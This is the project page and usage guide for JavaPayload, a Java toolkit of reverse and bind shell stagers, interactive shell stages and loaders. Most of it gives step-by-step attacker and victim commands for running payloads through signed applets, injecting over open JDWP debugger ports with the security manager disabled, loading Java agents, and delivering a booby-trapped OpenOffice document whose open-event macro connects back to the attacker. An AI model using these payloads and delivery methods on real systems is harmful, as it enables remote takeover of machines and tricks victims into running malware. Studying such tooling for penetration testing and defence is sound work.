JavaPayload - Platform independent Java stager payloads

© 2010 Michael 'mihi' Schierl, <schierlm at users dot sourceforge dot net>

Download (both source and compiled classes, 197 KB)


There are very good frameworks available (like Metasploit) to exploit vulnerabilities in native applications. They also support exploiting Java applications, but usually only provide platform-dependent native payloads (with focus on Microsoft Windows platforms). When exploiting a vulnerability in a Java service or a vulnerability in the Java browser plugin, it is not always clear which operating system you are targeting. In this case, pure Java payloads can increase the chance of successful exploitation if the platform was guessed wrong.

This archive contains a collection of pure Java payloads, from simple Shell and UpExec payloads (which need - to some degree - platform dependent parameters), to a JSh ("Java Shell") payload that supports an interactive shell to query system properties, run applications, open TCP connections, navigate the filesystem and read/write text files. Basic job control enables to run more than one command or TCP session via a single exploited session.

These payloads are modular, consisting of three parts: loaders, stagers and stages. For more details refer to the sections below. Loaders, stagers and stages can be combined arbitrarily, and the stages and stagers can also be used to integrate them into other exploit frameworks like Metasploit (if you are more Ruby-literate than me).


Loaders are similar to exploits in Metasploit. They are responsible for loading the stager and executing it. As the loaders included in this package do not really exploit vulnerabilities, I have named them loaders and not exploits. Included loaders are standalone Java program loader (to load the payload via a remote upload/command execution vulnerability), an Applet loader (to load the payload as a signed applet), am "Agent" loader (to load the payload from an Agent Jar from disk into another Java process) and a JDWP loader (to load the payload into a process via the Java Debugger Wire Protocol without touching the disk on the target machine - either an existing Java process that has a debugger port open or a new one loaded by remote command execution of "java -Xrunjdwp:transport=dt_socket,suspend=y,server=y,address=9821").

The standalone loader can be started either from the original Jar file, from a custom-tailored Jar file that includes only the needed classes, or from a custom-tailored Class file which is created on demand by the ObjectWeb ASM toolkit. Parameters for stagers and stages can be either embedded into the tailored jar/class file or provided on the command line. Applets are always built as jar files and load their parameters from the <param> tags from the HTML. Agent jars receive their parameters via the command line. The JDWP loader will create a new byte array in the target JVM, fill it with the class file, load it and invoke it.


Stagers are responsible for obtaining a TCP connection (or any other connection providing both an InputStream and an OutputStream) to the attacker and loading the stages dynamically. A stager is a single class file that extends the javapayload.stager.Stager class and does not depend on any other classes. It may implement additional interfaces which are part of the Java API, but no custom interfaces. And it may not have any explicit constructors or inner classes. (If the stager does not follow these principles, it will not work in combination with loaders that build custom-tailored Jar or Class files). The stager will then obtain a list of classes (as byte arrays, prefixed with a 32-bit length field; the last one is followed by a length field of zero), load them, and instantiate the last one of them (which is expected to implement the javapayload.stage.Stage interface).

Included stagers are BindTCP, ReverseTCP, ReverseSLL (without certificate checking), and a LocalTest stager that runs the stager in the same Java process which is used for the handler (useful for debugging more complex stages). All these stagers (except the LocalTest one) will need a hostname and a port number as parameters.

There is also a JDWPTunnel stager that can be only used with the JDWPInjector and will tunnel the payload stream directly over the JDWP connection. This is slower than a dedicated connection, but in some cases a dedicated connection is not possible.

The BindMultiTCP stager works like the BindTCP stager, but can accept more than one connection at the same time. This is useful if you want to test multiple payloads against the same machine.

The ReverseTCP stager handler can auto-bind to a port if you specify # as the port number. In this case, the stager handler will print the port number to stdout. When this handler is used in conjunction with JDWPInjector or with the AttachInjector, the new port number will automatically be used in the command line to the remote process.

The stager handler MultiListen can be used to run a stage that only outputs information (like the SystemInformation stage) multiple times (even multi-threaded). This will work with ReverseTCP and ReverseSSL stagers, you will have to give the full command line for this to the stager. Example: MultiListen ReverseTCP -- SystemInfo.


Stages are loaded by a stager and responsible for doing what you want to do on the victim's host (like provide a shell or execute an uploaded file). The included stages are Exec (execute a command with parameters), UpExec (upload a file and execute it with parameters), Shell (execute a shell based on operating system, cmd.exe for Windows and /bin/sh for everything else), SystemInfo (return system information, including local and remote IP addresses) and JSh (try it yourself, it is awesome). All these stages will forward stdin, stdout and stderr streams automatically. Shell, SystemInfo and JSh do not need parameters, the other two expect a command name and optional arguments - for UpExec the command name should be an absolute file name on the attacker's machine, which will be uploaded to the temp directory and executed there.

Changes since version 0.1

Upcoming features

I am currently working on a new stage that uses a dynamic classloader to load "normal" Java classes on demand over the stager input stream. It also provides these classes with an unlimited number of streams tunnelled over the same stager input stream. It comes with a command line client that can keep multiple "sessions" to payloads open and send commands to them by sending a serialized Java object that contains the required command implementation. Supported commands include running stages (resulting in another pair of forwarded streams), running handlers (resulting in new sessions "inside" sessions), copying files over sessions, a simple ping/echo test command, forwarding TCP connections, forwarding audio, change audio mixer settings (volume/mute/recording source), take screenshots and remote control features, and the always-loved cat and telnet commands. It comes with a job control similar to JSh (with backgrounding, but the jobs are all handled on the attacker's computer), and dynamically routes the forwarded streams over the shortest way available (i. e. if you have session s1 and run two handlers, there, you get sessions s1:s1 and s1:s2. Copying a file from s1:s1 to s1:s2 will send the file via the s1 session but not back to the attacker machine). The classloaders will also take care about whether a parent session has the class already, so that the class will not be requested again. This handlers need a few tricks to work fine in all conditons, especially since the stage uses static class loading, and the stager will avoid loading system classes over the network. So you can run into a situation where the stage class' Class object is inaccessible to one of the command classes (as it is loaded by a child classloader), which has to be solved by dynamically falling back to reflection. I already have an almost working prototype, but it will still need a bit of more testing before I can release it.

In addition, I am working on WAR support (drop a servlet and run a stager), including tunnelling connections over HTTP(S), or alternatively using a findsock stager that picks the correct socket from private instance variables and hijacks it from the servlet container to create a bi-directional channel. The tunnelling stager (working similarily to the httptunnel program) is a bit tricky to make really rock-stable, because of different timeout settings in different servlet containers. But as the findsock stager will inherently be unstable (depending on the fact that the socket object can be found, and that the socket is not read while we use it), the tunnel stager really has to be rock solid in my opinion. :-)

Note that all will be implemented in pure Java with no line of native code!

Stay tuned!

System requirements

On the "attacker" machine: Java Runtime Environment or Java Development Kit 1.4 or newer (JDK 6.0 recommended)

On the "victim" machine: Java Runtime Environment 1.2 or newer (1.4 for SSL stagers)


When calling a loader, you can pass it parameters. The first parameter will always be the name of the stager (case sensitive as it is sometimes used to load the class), followed by the stager parameters (usually host and port). After them, there is a parameter consisting of only two dashes ("--") which is used to separate stage arguments from stager arguments. After the dashes is the name of the stage (which is case sensitive as well) and the stage parameters (command line). All the parameters are forwarded to the stage (to keep the stagers small), so if you want to write your own stages, you'll have to find the double-dash yourself.

On the attacker's side there is a handler which is used to upload the correct classes to the stager and forward streams. The included command-line handler is called javapayload.handler.stager.StagerHandler and expects the same parameters that were passed to the loader. (The loader and the stager will know themselves that they do not need a host name when they listen, but it should be in the command line nevertheless to make command lines more uniform).

In the following examples I assume that you have JavaPayload.jar in your classpath; for some examples, the ASM libraries and/or the JDK's tools.jar have to be in the classpath as well.

The examples use the ReverseSSL stager and the JSH stage; all the other stagers/stages can be used as well.

Testing/Debugging a stage on the local machine

java javapayload.handler.stager.StagerHandler LocalTest -- JSh

Standalone example (using custom-tailored JAR file)

On the "attacker" machine:

java javapayload.builder.JarBuilder ReverseSSL

copy ReverseSSL_JSh.jar to the victim machine. — or — copy JavaPayload.jar to the victim machine

java javapayload.handler.stager.StagerHandler ReverseSSL 2010 -- JSh

On the "victim" machine:

java -jar ReverseSSL_JSh.jar ReverseSSL 2010 -- JSh

— or —

java -cp JavaPayload.jar javapayload.loader.StandaloneLoder ReverseSSL 2010 -- JSh

Standalone example (using custom-tailored JAR file with embedded parameters)

On the "attacker" machine:

java javapayload.builder.EmbeddedJarBuilder ReverseSSL 2010 -- JSh

copy embedded.jar to the victim's machine.

java javapayload.handler.stager.StagerHandler ReverseSSL 2010 -- JSh

On the "victim" machine:

java -jar embedded.jar

Standalone example (using custom-tailored Class file)

On the "attacker" machine:

java javapayload.builder.ClassBuilder ReverseSSL FunnyClass

copy FunnyClass.class to the victim machine.

java javapayload.handler.stager.StagerHandler ReverseSSL 2010 -- JSh

On the "victim" machine:

java FunnyClass ReverseSSL 2010 -- JSh

Standalone example (using custom-tailored Class file with embedded parameters)

On the "attacker" machine:"

java javapayload.builder.EmbeddedClassBuilder FunnyClass2 ReverseSSL 2010 -- JSh

copy FunnyClass2 to the victim's machine.

java javapayload.handler.stager.StagerHandler ReverseSSL 2010 -- JSh

On the "victim" machine:

java FunnyClass2

Applet example

On the "attacker" machine:

Create an index.html page with the following content:
<applet archive="Applet_ReverseTCP.jar" code="javapayload.loader.AppletLoader">
<param name="argc" value="5">
<param name="arg0" value="ReverseSSL" />
<param name="arg1" value="" />
<param name="arg2" value="2010" />
<param name="arg3" value="--" />
<param name="arg4" value="JSh" />

Run the following commands:
java javapayload.builder.AppletJarBuilder ReverseTCP
keytool -keystore tmp -genkey
jarsigner -keystore tmp Applet_ReverseTCP.jar mykey
java javapayload.handler.stager.StagerHandler ReverseSSL 2010 -- JSh

Load index.html on the "victim" machine in a Java-enabled web browser.

note: For all the *JarBuilder commands (except EmbeddedJarBuilder), you can give as many stagers as you like. For example, if you want to have all included stagers in a single applet jar file, you can call java javapayload.builder.AppletJarBuilder ReverseTCP ReverseSSL BindTCP BindMultiTCP.

JDWP example

On the "attacker" machine:

java javapayload.builder.JDWPInjector 2010 ReverseSSL 2010 -- JSh

On the "victim" machine:

java -Xrunjdwp:transport=dt_socket,suspend=y,server=n,

Note: As shown in this example, the same port can be used for both the JDWP connection and the reverse TCP or SSL connection. You can also use different ports, if preferred.

Note 2: If the target process has a security manager installed, loading the stage will most likely fail. In that case you can add an exclamation mark to the port specification (like "2010!") to deactivate the security manager in the target process. Note that in this case the security manager will remain disabled even after your payload terminates, so make sure to not open additional security holes in your pen-test when trying this!

JDWP tunnelling example

On the "attacker" machine:

java javapayload.builder.JDWPInjector 2010 JDWPTunnel -- JSh

On the "victim" machine:

java -Xrunjdwp:transport=dt_socket,suspend=y,server=n,

Agent example (loading the agent jar into a new Java process that runs a different program)

This example requires Java 1.5 or above on both attacker and victim computer!

On the "attacker" machine:

java javapayload.builder.AgentJarBuilder ReverseSSL

copy Agent_ReverseSSL.jar to the victim's machine.

java javapayload.handler.stager.StagerHandler ReverseSSL 2010 -- JSh

On the "victim" machine:

java -javaagent:path\to\Agent_ReverseSSL.jar="ReverseSSL 2010 -- JSh" <parameters for another Java program>

Attach example (loading the Agent jar into an existing process on the same machine via Attach API)

This example requires Java 1.6 or above on your computer! Start any other Java program and look up its pid first:

java javapayload.builder.AttachInjector list

Then you can use the pid:

java javapayload.builder.AgentJarBuilder ReverseSSL

java javapayload.builder.AttachInjector <pid> \absolute\path\to\Agent_ReverseSSL.jar ReverseSSL localhost 2010 -- JSh

OpenOffice BeanShell macro example

On the "attacker" machine:

java javapayload.builder.BeanShellMacroBuilder ReverseTCP 2010 -- JSh >1.bsh

Now create a new OpenOffice document, add a BeanShell macro and paste the contents of 1.bsh into it (remove all of the example lines already in the new macro). Go to Tools->Customize->Events and add a document open event that runs your new macro. Make sure to save this event in the document (and not in the application). Save the document and send it to the victim.

java javapayload.handler.stager.StagerHandler ReverseTCP 2010 -- JSh

On the "victim" machine:

Open the document with OpenOffice and say "yes" when you are asked whether to execute macros.